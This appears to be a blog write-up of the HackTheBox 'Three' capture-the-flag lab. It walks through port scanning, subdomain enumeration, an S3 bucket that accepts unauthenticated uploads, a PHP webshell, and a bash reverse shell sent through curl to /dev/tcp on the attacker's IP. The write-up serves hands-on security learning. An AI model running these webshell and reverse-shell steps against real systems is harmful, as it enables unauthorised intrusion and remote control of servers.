HackTheBox - Three
Tags: cybersecurity, hacking, ctf
Published: 2023-11-03 05:03:51

## Pwning the "Three" machine.

Even though this machine sits at the _very easy_ difficulty, I found it to be great for introducing concepts such as domain enumeration, reverse shell, arbitrary file upload and others.

When you spawn the machine, a warning is given: 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/628d0ynn1h0r3ylh762g.png)

To guarantee the machine and all its services are ready, you should receive this message when connecting to the _s3.thetoppers.htb_ address. Trying that is fruitless at first, since you should add this entrance to your local _/etc/hosts_ file and make your OS able to resolve the address to the correct IP address. It should look like this:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/02dbuzuz3lhja1tljc3o.png)

Next step was running `nmap -sV -vvv -Pn -p- -T5 10.129.216.192` to see which doors are open. I scanned all ports with the _-T5_ option just to make sure none were left behind. The result for the scan shows ports 80 and 22 open.

Reading the webpage available on port 80 gives you the answer to the first 3 tasks. The fourth one asks about a subdomain to be obtained using enumeration, which you can find by using a tool like _gobuster_. (The subdomain is actually mentioned in the machine description, but let's pretend it wasn't just to show what you'd do without it and learn about subdomain enumeration).

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xvydndrnhdkmsuvlq756.png)

In the image you can see the parameter -w, for wordlist, receives the file _names_ as input. This file actually contains a wordlist I took from [here](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS).

You can tell by its name that the subdomain refers to an S3 bucket. If you aren't at all familiar with AWS services, it would be good to check its [documentation](https://aws.amazon.com/s3/features/) to understand in detail what it does. Essentially, it allows you to store files.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z49ccnukh9zc1n7c1w9f.png)

A well configured bucket will be only accessed if you have AWS credentials with proper authorization, but this is not the case. Use the flag _--no-sign-request_ with the AWS CLI and you should be able to list the buckets and then its contents.

At first, I imagined a flag would be found inside the bucket, but after looking at the files in there, no flag was found. The files in the bucket are nothing but the ones being served on the website, meaning these files actually have access to the server itself. How about using a webshell to get access as well?

Looking at the files in the bucket, you see _index.php_, meaning PHP is the language used in this server and therefore the language our webshell has to be written in

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gmao9na56wb3cl6p8a11.png)

Don't be fooled if you think a webshell is hard to implement. With a little bit of research you can find many examples, like the one above. Just make sure you read the code and what it does. In this case, the code will take the value of _cmd_ in the _$_REQUEST_ variable and execute it at system level. In PHP, this variable holds the data received from an HTTP request. Upload your webshell to the bucket as shown below:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9qbbr2ceeexbqjk0em48.png)

You can now pass regular shell commands to this page as parameters:

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4ki389cfe3om9x06pgp7.png)

You can get the root flag just by exploring the filesystem via the webshell, but let's go one step further and turn this webshell into a fully dynamic reverse shell. For that, first note the IP address your personal machine has inside the HackTheBox VPN. Then, with the command `nc -lnvp 80` open the port 80 (or any other, 80 was my choice) in your personal computer. You now tell the "Three" machine to connect to this open port and direct shell output to and input from it with the command `curl http://thetoppers.htb/cmd.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<your-machine-ip>/80 0>&1'"`.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pxjq5td9vv5zmjutivm8.png)

You now have a shell running inside the server, and finding the flag is as easy as checking the _flag.txt_ file in the parent directory.